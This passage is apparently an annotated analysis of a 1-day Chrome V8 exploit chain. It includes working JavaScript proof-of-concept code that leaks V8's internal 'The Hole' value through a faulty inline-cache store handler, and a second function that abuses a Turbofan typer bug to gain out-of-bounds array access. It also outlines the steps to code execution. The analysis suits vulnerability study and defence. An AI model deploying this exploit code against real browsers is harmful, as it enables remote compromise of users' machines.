0x29df0004ea61 <FixedArray[17]> { 0: 1 1-16: 0x29df0000026d <the_hole> }
This is debug output from d8. The first block describes the arguments object: its type is JS_ARGUMENTS_OBJECT_TYPE, its map says HOLEY_ELEMENTS, and its elements store is a FixedArray[17], meaning a fixed-size array with 17 slots. Slot 0 holds the value 1 and slots 1 to 16 hold the_hole. The comment ******* Use this capacity ******* marks the number the bounds check uses. The second block describes the JSArray: its map says PACKED_SMI_ELEMENTS, its elements store is also a FixedArray[17], but its length property is 1, and the comment ******* Use this length ******* marks the number its bounds check uses. Both objects have 17 physical slots, but only the array's own length limits access.
So in normal cases, where the size of the elements store is larger than the number of elements, an out-of-bounds element access to a JSArray is guarded by checking its 'length' property, and for other objects it is guarded by the 'The Hole' check because the object's elements kind is HOLEY_ELEMENTS. The vulnerable handler, however, keeps the map of arguments at PACKED_ELEMENTS even after its elements store is extended, which allows leaking 'The Hole'. In other words, the object is physically holey but its label still says packed, so the safety check that would catch 'The Hole' is skipped.
Exploitation
Step 1: trigger the bug and leak The Hole
The proof-of-concept code that triggers the bug is:
function set_keyed_prop(obj, key, val) { obj[key] = val;}function leak_hole() { const IC_WARMUP_COUNT = 10; for (let i = 0; i < IC_WARMUP_COUNT; i++) { set_keyed_prop(arguments, "foo", 1); } set_keyed_prop([], 0, 1); set_keyed_prop(arguments, arguments.length, 1); let hole = arguments[arguments.length + 1]; return hole;}
Line by line: set_keyed_prop is the same store function as before. leak_hole defines a constant IC_WARMUP_COUNT of 10. The for loop calls set_keyed_prop(arguments, "foo", 1) ten times, storing the value 1 under the string key "foo" on the arguments object. This warms up the inline cache. Then set_keyed_prop([], 0, 1) stores into an empty array, which forces the engine to add a second kind of handler. Then set_keyed_prop(arguments, arguments.length, 1) stores at the index equal to the current length, which is the case that makes the buggy handler grow the store. Finally let hole = arguments[arguments.length + 1] reads one slot past the end and returns it. The whole point is to make the engine hand back the internal 'The Hole' value.
First, a loop calls set_keyed_prop() with an arguments object and 'foo' as the key. After the loop, a property handler is registered with the map of arguments and 'foo' as the key, making the slot monomorphic.
DebugPrint: 0x37750019b08d: [Function] in OldSpace ... - slot #0 StoreKeyedSloppy MONOMORPHIC 0x37750019ae75 <String[3]: #foo>: StoreHandler(<unexpected>)(0x37750018fccd <Map[20](PACKED_ELEMENTS)>) { [0]: 0x37750019ae75 <String[3]: #foo> [1]: 0x37750004ca65 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> }
This output shows the function's first IC slot, labelled StoreKeyedSloppy, in state MONOMORPHIC. The entry maps the string #foo to a store handler associated with a map of kind PACKED_ELEMENTS. The two bracketed entries hold the key and a weak reference to a fixed array. A weak reference is one that does not keep the target alive.
This installs a property handler, not an element handler, because an element handler for arguments cannot be installed directly. If a key is Smi-like (integers or strings like '1') and the object is arguments, KeyedStoreIC::Store() takes the slow path rather than installing the buggy handler. For normal properties, StoreIC::Store() is called to populate a handler in the slot. A Smi is a small integer, stored directly rather than as a separate object.
MaybeHandle<Object> KeyedStoreIC::Store(Handle<Object> object, Handle<Object> key, Handle<Object> value) { ... if (key_type == kName) { ASSIGN_RETURN_ON_EXCEPTION( isolate(), store_handle, StoreIC::Store(object, maybe_name, value, StoreOrigin::kMaybeKeyed), Object); if (vector_needs_update()) { if (ConfigureVectorState(MEGAMORPHIC, key)) { set_slow_stub_reason("unhandled internalized string key"); TraceIC("StoreIC", key); } } return store_handle; } ... if (use_ic) { if (!old_receiver_map.is_null()) { if (is_arguments) { set_slow_stub_reason("arguments receiver"); } ... } } ...}
Line by line: the function receives the object, the key and the value. If the key is a name (key_type == kName), it calls StoreIC::Store to do the store, and if the IC vector needs updating it may switch the slot to MEGAMORPHIC and record the reason "unhandled internalized string key". Further down, if the IC is in use and the receiver map is known and the receiver is arguments, it records the reason "arguments receiver". That reason string is the tell: for arguments, the engine deliberately takes the slow path instead of installing an element handler.
Then the PoC calls set_keyed_prop() with an empty array. Since the array is not arguments, an IC miss occurs and KeyedStoreIC::UpdateStoreElement() is called to install a new element handler. It then calls KeyedStoreIC::StoreElementPolymorphicHandlers() to change the state of the IC slot to polymorphic.
void KeyedStoreIC::UpdateStoreElement(Handle<Map> receiver_map, KeyedAccessStoreMode store_mode, Handle<Map> new_receiver_map) { std::vector<MapAndHandler> target_maps_and_handlers; nexus()->ExtractMapsAndHandlers( &target_maps_and_handlers, [this](Handle<Map> map) { return Map::TryUpdate(isolate(), map); }); if (target_maps_and_handlers.empty()) { Handle<Map> monomorphic_map = receiver_map; if (IsTransitionOfMonomorphicTarget(*receiver_map, *new_receiver_map)) { monomorphic_map = new_receiver_map; } Handle<Object> handler = StoreElementHandler(monomorphic_map, store_mode); return ConfigureVectorState(Handle<Name>(), monomorphic_map, handler); } ... StoreElementPolymorphicHandlers(&target_maps_and_handlers, store_mode); ...}
Line by line: the function receives the receiver map, the store mode and the new receiver map. It declares a vector of map and handler pairs. It extracts the existing maps and handlers from the IC nexus, updating each map with Map::TryUpdate. If the vector is empty, it takes the monomorphic path: it may replace the map with the new one if the new map is a transition of the old one, obtains a handler with StoreElementHandler, and configures the slot with ConfigureVectorState. Otherwise it calls StoreElementPolymorphicHandlers to convert the existing entries. The important consequence: the existing property handler for arguments is now converted into an element handler.
KeyedStoreIC::StoreElementPolymorphicHandlers() iterates the previous IC handlers in the slot and turns them into element handlers by calling StoreElementHandler(). This introduces the buggy handler into the slot.
void KeyedStoreIC::StoreElementPolymorphicHandlers( std::vector<MapAndHandler>* receiver_maps_and_handlers, KeyedAccessStoreMode store_mode) { ... for (size_t i = 0; i < receiver_maps_and_handlers->size(); i++) { Handle<Map> receiver_map = receiver_maps_and_handlers->at(i).first; DCHECK(!receiver_map->is_deprecated()); MaybeObjectHandle old_handler = receiver_maps_and_handlers->at(i).second; Handle<Object> handler; Handle<Map> transition; if (receiver_map->instance_type() < FIRST_JS_RECEIVER_TYPE || receiver_map->MayHaveReadOnlyElementsInPrototypeChain(isolate())) { ... } else { ... if (!transition.is_null()) { TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_ElementsTransitionAndStoreStub); handler = StoreHandler::StoreElementTransition( isolate(), receiver_map, transition, store_mode, validity_cell); } else { handler = StoreElementHandler(receiver_map, store_mode, validity_cell); } } DCHECK(!handler.is_null()); receiver_maps_and_handlers->at(i) = MapAndHandler(receiver_map, MaybeObjectHandle(handler)); }}
Line by line: the function loops over every map and handler pair. For each, it reads the receiver map and asserts it is not deprecated. It reads the old handler. It declares a new handler and a transition. If the receiver type is too primitive or has read-only elements in its prototype chain, it takes the elided branch. Otherwise, if there is a transition, it builds a transition handler with StoreHandler::StoreElementTransition; if not, it calls StoreElementHandler(receiver_map, store_mode, validity_cell). It asserts the handler is not null and writes the new pair back into the vector. This is the exact place where the arguments entry is rebuilt as an element handler, and therefore where the buggy handler enters the slot.
At this point the IC slot looks like this:
DebugPrint: 0x5ed0019b139: [Function] in OldSpace ... - slot #0 StoreKeyedSloppy POLYMORPHIC [weak] 0x05ed0018fccd <Map[20](PACKED_ELEMENTS)>: StoreHandler(builtin = 0x05ed00024b59 <Code BUILTIN StoreFastElementIC_GrowNoTransitionHandleCOW>, validity cell = 0x05ed0019b281 <Cell value= 0>) [weak] 0x05ed0018e165 <Map[16](PACKED_SMI_ELEMENTS)>: StoreHandler(builtin = 0x05ed00024b59 <Code BUILTIN StoreFastElementIC_GrowNoTransitionHandleCOW>, validity cell = 0x05ed0019b365 <Cell value= 0>) { [0]: 0x05ed0004cafd <Other heap object (WEAK_FIXED_ARRAY_TYPE)> [1]: 0x05ed00000ebd <Symbol: (uninitialized_symbol)> }
The slot is now POLYMORPHIC and holds two entries. The first is the arguments map with kind PACKED_ELEMENTS; the second is the array map with kind PACKED_SMI_ELEMENTS. Both point at the same built-in code, StoreFastElementIC_GrowNoTransitionHandleCOW, the buggy handler. The validity cell is a small cell the engine can clear to invalidate the handler later.
The last call to set_keyed_prop is handled by the buggy handler, extending the elements store of arguments while keeping the elements kind PACKED_ELEMENTS:
set_keyed_prop(arguments, arguments.length, 1);
This single line stores the value 1 at the index equal to the current length of arguments. Because the index equals the capacity boundary, the handler grows the backing store and fills the new slots with 'The Hole', but it does not update the map.
After the PoC runs, the arguments object has elements kind PACKED_ELEMENTS and an elements store of FixedArray[17], where the empty spaces are filled with 'The Hole'.
Compare this with the earlier output: the map now says PACKED_ELEMENTS, yet the elements store is a FixedArray[17] whose slots 1 to 16 hold the_hole. The label and the contents disagree, and that disagreement is the leak.
Step 2: turn The Hole into an out-of-bounds access
The leaked 'The Hole' object can be exploited to achieve arbitrary out-of-bounds access. Out-of-bounds means reading or writing memory outside the region the program is supposed to touch, like reaching into a neighbouring drawer in a filing cabinet. The technique was originally shared by mistymntncop, and a related writeup is available. The exploit to achieve out-of-bounds access using 'The Hole' is:
function leak_stuff(b) { if (b) { let index = Number(b ? the.hole : -1); index |= 0; index += 1; let arr1 = [1.1, 2.2, 3.3, 4.4]; let arr2 = [0x1337, large_arr]; let packed_double_map_and_props = arr1.at(index * 4); let packed_double_elements_and_len = arr1.at(index * 5); let packed_map_and_props = arr1.at(index * 8); let packed_elements_and_len = arr1.at(index * 9); let fixed_arr_map = arr1.at(index * 6); let large_arr_addr = arr1.at(index * 7); return [ packed_double_map_and_props, packed_double_elements_and_len, packed_map_and_props, packed_elements_and_len, fixed_arr_map, large_arr_addr, arr1, arr2 ]; } return 0;}
Line by line: leak_stuff takes a flag b. If b is truthy, it computes index as Number(b ? the.hole : -1), which is either the number form of 'The Hole' or -1. index |= 0 forces it to a 32-bit integer, and index += 1 adds one. It then creates two arrays: arr1 with four floating point numbers, and arr2 with the number 0x1337 and a variable large_arr. It reads six values from arr1 at indices computed as index multiplied by 4, 5, 8, 9, 6 and 7, and returns them together with both arrays. The multipliers are chosen so that, when index is not zero, the reads land on the internal metadata of the arrays rather than on their elements.
The most important lines are:
let index = Number(b ? the.hole : -1);index |= 0;index += 1;
Line by line: the first line uses the ternary operator, a compact if/else written as condition ? value_if_true : value_if_false, and returns either 'The Hole' or -1. Number(...) converts the result to a number. The second line index |= 0 applies a bitwise OR with zero, which truncates the value to a 32-bit integer. The third line adds one. The first line uses the ternary operator and returns either 'The Hole' or -1. When leak_stuff() gets hot and triggers just-in-time compilation, the ternary operator introduces a Phi node, followed by a JSToNumberConvertBigInt node. A Phi node is a compiler construct that merges the values arriving from different branches into one; JSToNumberConvertBigInt is the compiler's internal operation for converting a value to a number while handling the BigInt type.

Turbofan, the JIT compiler in V8, has a typer phase in which the compiler statically infers the type of each node. After the typer phase, the annotated types are as follows:

The type of the Phi node is inferred as the union of the type of 'The Hole' and the integer interval (-1, -1), which seems to be true. However, the type of the JSToNumberConvertBigInt node is miscalculated, because a call to Number() with 'The Hole' produces NaN. NaN means 'not a number', the special value JavaScript uses when a conversion has no sensible numeric result.
d8> Number(%TheHole());NaN
This is a d8 session. The prompt d8> is followed by the expression Number(%TheHole()), which converts the internal hole value to a number, and the shell answers NaN. That answer is the ground truth the compiler got wrong.
The type of the JSToNumberConvertBigInt node is inferred in OperationTyper::ToNumberConvertBigInt().
Type OperationTyper::ToNumberConvertBigInt(Type type) { bool maybe_bigint = type.Maybe(Type::BigInt()) || type.Maybe(Type::Receiver()); type = ToNumber(Type::Intersect(type, Type::NonBigInt(), zone())); return maybe_bigint ? Type::Union(type, cache_->kInteger, zone()) : type;}
Line by line: the function receives a type. It first checks whether the type might be a BigInt or a receiver, storing the answer in maybe_bigint. It then intersects the incoming type with Type::NonBigInt() and passes the result through ToNumber. Finally, if maybe_bigint is true it unions the result with the integer type, otherwise it returns the type unchanged. The intersection is the step that matters: it keeps only the parts of the type that are also in NonBigInt.
The function first calculates the intersection of the argument's type and Type::NonBigInt(). Here type is the type of the Phi node, and Type::NonBigInt() is defined as an OR-ed set of bit flags. A bit flag is a single binary digit used as an on/off switch inside a number; OR-ing flags together builds a set.
#define INTERNAL_BITSET_TYPE_LIST(V) \ V(OtherUnsigned31, uint64_t{1} << 1) \ V(OtherUnsigned32, uint64_t{1} << 2) \ V(OtherSigned32, uint64_t{1} << 3) \ V(OtherNumber, uint64_t{1} << 4) \ V(OtherString, uint64_t{1} << 5) \ ...#define PROPER_ATOMIC_BITSET_TYPE_LOW_LIST(V) \ ... V(Hole, uint64_t{1} << 23) \ ... #define PROPER_BITSET_TYPE_LIST(V) \ ... V(NonBigInt, kNonBigIntPrimitive | kReceiver) \ ...
Line by line: these are C preprocessor macros that build lists of type flags. Each V(Name, value) entry assigns a name to a bit position; for example OtherUnsigned31 is bit 1, OtherNumber is bit 4, and Hole is bit 23. The NonBigInt entry is defined as the combination of kNonBigIntPrimitive and kReceiver. The ... marks entries the post leaves out. The key observation is that Hole has its own bit, and it is not obviously part of the NonBigInt combination.
Flattening all sub-flags of Type::NonBigInt() shows that the type of 'The Hole' is not in the set:
[redacted]
This is the flattened list of type names that make up NonBigInt. Reading through it, you will not find Hole. So the type of 'The Hole' is filtered out by the intersection, which results in a type error. This error is propagated through the following operations.

Here is the commented version of the exploit with the types inferred by the compiler and the actual value when the code is executed with 'The Hole':
function leak_stuff(b) { if (b) { let index = Number(b ? the.hole : -1); index |= 0; index += 1; let arr1 = [1.1, 2.2, 3.3, 4.4]; let arr2 = [0x1337, large_arr]; let packed_double_map_and_props = arr1.at(index * 4); let packed_double_elements_and_len = arr1.at(index * 5); let packed_map_and_props = arr1.at(index * 8); let packed_elements_and_len = arr1.at(index * 9); let fixed_arr_map = arr1.at(index * 6); let large_arr_addr = arr1.at(index * 7); return [ packed_double_map_and_props, packed_double_elements_and_len, packed_map_and_props, packed_elements_and_len, fixed_arr_map, large_arr_addr, arr1, arr2 ]; } return 0;}
This is the same function as before, with the compiler's inferred types and the runtime values noted alongside. Because the compiler thinks the value of index is always zero, it considers all bounds checks on arr1 unnecessary and optimises them away. When the function is invoked later, however, index is a non-zero value, and the accesses to arr1 go out of bounds. The compiler removed the guard based on a belief that was false, and the runtime value walked straight past it.
Step 3: from out-of-bounds access to code execution
With an out-of-bounds memory access primitive, there is a standard route to code execution. A primitive here means a small, reliable building block an exploit can reuse. A typical V8 exploit will:
- Construct
addr_ofand arbitrary read/write primitives.addr_ofmeans a way to learn the memory address of an object; arbitrary read/write means a way to read or write any chosen memory location. This can usually be achieved by creating a few adjacent arrays (PACKED_ELEMENTSandPACKED_DOUBLE_ELEMENTS) and overwriting the length properties of the arrays with the out-of-bounds access primitive. Adjacent means the arrays sit next to each other in memory, so an overrun of one reaches the metadata of the next. - Use the primitives to gain arbitrary code execution. For this, one needs to escape the V8 sandbox; a detailed explanation of the V8 sandbox escape technique used in an in-the-wild exploit is available on the Theori blog. The V8 sandbox is a containment layer that tries to keep a V8 bug from turning into access to the rest of the process.
More detailed information, including PoC and exploit code, is in Fermium-252, the Cyber Threat Intelligence Database.
Root cause
The bug is in the IC implementation for the SetKeyedProperty bytecode. When a keyed store on a JSStrictArgumentsObject is turned into an element handler, KeyedStoreIC::StoreElementHandler() selects StoreFastElementIC_GrowNoTransitionHandleCOW because the receiver map has fast elements. That handler, as its name says, performs no map transition, so the elements kind stays PACKED_ELEMENTS even when it grows the elements store and fills the new slots with 'The Hole'. The slow path, JSObject::AddDataElement(), would have moved a non-JSArray object to HOLEY_ELEMENTS in the same situation.
The missing transition matters because of how bounds checks work. For a JSArray the check uses the in-object 'length' property, but for every other object it uses the length of the elements backing store. For a correctly marked holey object, the 'The Hole' check catches reads of uninitialised slots. With the map still claiming PACKED_ELEMENTS, that check is not applied, and the leaked 'The Hole' value reaches JavaScript.
The second half of the chain is a Turbofan typer bug. OperationTyper::ToNumberConvertBigInt() intersects the argument type with Type::NonBigInt(), and the Hole bit is not part of that set, so the type of 'The Hole' is filtered out and the result is typed as if Number() on it could only produce the integer interval from the Phi node. At runtime Number(%TheHole()) is NaN, so the inferred type is wrong, and the compiler removes bounds checks that are in fact needed.
Impact
The chain starts with a Chrome renderer exploit: a leaked internal value and an out-of-bounds access primitive, followed by the standard route of building addr_of and arbitrary read/write and escaping the V8 sandbox to reach code execution. In the demonstration this renderer exploit is the first link of a 1-day full chain, with the next post covering a Windows ALPC vulnerability used to escape the Chrome sandbox. ALPC is a Windows mechanism for communication between processes. The post does not state which Chrome versions were affected or how the exploit was delivered to a victim.
Fix
The post does not describe the patch. Based on the root cause, the fix belongs in the IC path: the element handler chosen for JSStrictArgumentsObject must not grow the elements store while leaving the map at PACKED_ELEMENTS, so that the object ends up HOLEY_ELEMENTS as the slow path dictates.
Variants to test
- Other receivers with fast elements that reach
StoreFastElementIC_GrowNoTransitionHandleCOW. A positive result is an object whose elements store has grown while its map still reports a packed elements kind, visible withDebugPrintas aFixedArraylarger than the number of elements and containingthe_hole. - Other keyed-store bytecodes and store modes that select a no-transition handler. A positive result is a store at an index equal to the elements capacity that extends the backing store without a map transition.
- Other builtins that call
Number()or similar conversions on values that may be 'The Hole'. A positive result is ad8session where the converted value isNaNat runtime while the typer output shows an integer type. - Other type intersections in
OperationTyperwhere an internal-only type such asHoleis not a member of the intersected set. A positive result is a node whose inferred type excludes a value that can actually reach it, followed by an optimised bounds check being removed. - Adjacent
PACKED_ELEMENTSandPACKED_DOUBLE_ELEMENTSarrays after obtaining an out-of-bounds primitive. A positive result is a corrupted length property on one array that yields read and write access beyond its bounds.
Glossary
- 1-day: an attack that uses a vulnerability that is already publicly known, as opposed to a 0-day.
- ALPC: a Windows mechanism for communication between processes.
- Arbitrary read/write: a primitive that lets an attacker read or write any chosen memory location.
- Array: a contiguous block of memory slots holding values in order.
- Backing store: the actual block of memory that holds an object's elements.
- BigInt: a JavaScript type for integers larger than the normal number type can hold.
- Bit flag: a single binary digit used as an on/off switch inside a number.
- Bounds check: a safety test that asks whether an index is inside the allowed range.
- Bytecode: a single low-level instruction executed by the engine.
- CVE: a public identifier assigned to a known vulnerability.
- d8: the standalone command-line shell used to run JavaScript with V8 outside a browser.
- DebugPrint: a V8 debugging helper that prints the internal layout of an object.
- Dictionary: a lookup structure mapping names to values one by one, flexible but slower than arrays.
- Elements: integer-indexed properties of a JavaScript object.
- Elements kind: the engine's classification of how an object's elements are stored, such as packed or holey.
- Fast properties: the array-backed representation of properties, faster than dictionaries.
- FixedArray: a fixed-size internal array used as an elements backing store.
- Hidden class: see map.
- IC (Inline Cache): an optimisation that remembers the types seen at a code location and reuses fast handlers.
- IC handler: a small pre-built routine that performs a fast operation for a particular object shape.
- IC slot: the storage in a function that maps object shapes to IC handlers.
- Isolate: a single instance of the V8 engine.
- JIT (just-in-time compilation): compiling code to native machine code while the program runs, once a function is hot.
- JSArray: the internal object behind a normal JavaScript array.
- JSStrictArgumentsObject: the internal object holding a function's arguments in strict mode.
- Map: the engine's internal description of an object's shape, also called a hidden class.
- Megamorphic: an IC state with too many shapes to track, falling back to generic slow handlers.
- Monomorphic: an IC state that has seen only one object shape.
- NaN: the special JavaScript value meaning 'not a number'.
- Out-of-bounds: reading or writing memory outside the region a program is supposed to touch.
- Phi node: a compiler construct that merges values arriving from different branches.
- Polymorphic: an IC state that has seen a few object shapes.
- Primitive: a small, reliable building block an exploit reuses.
- Property: a named field of a JavaScript object.
- Renderer: the part of Chrome that runs web page code, including JavaScript.
- Smi: a small integer stored directly rather than as a separate object.
- Strict mode: a stricter dialect of JavaScript.
- Ternary operator: the
condition ? a : bexpression that chooses between two values. - The Hole: an internal V8 placeholder value used to fill empty slots, which must never reach JavaScript.
- Turbofan: the optimising JIT compiler inside V8.
- Typer phase: the compiler phase that statically infers the type of each node.
- Type confusion: a bug where the engine believes a value is one kind of thing when it is actually another.
- V8: the JavaScript engine inside Chrome.
- V8 sandbox: a containment layer that limits what a V8 bug can reach in the process.
- Validity cell: a small cell the engine can clear to invalidate an IC handler.
- Weak reference: a reference that does not keep its target alive.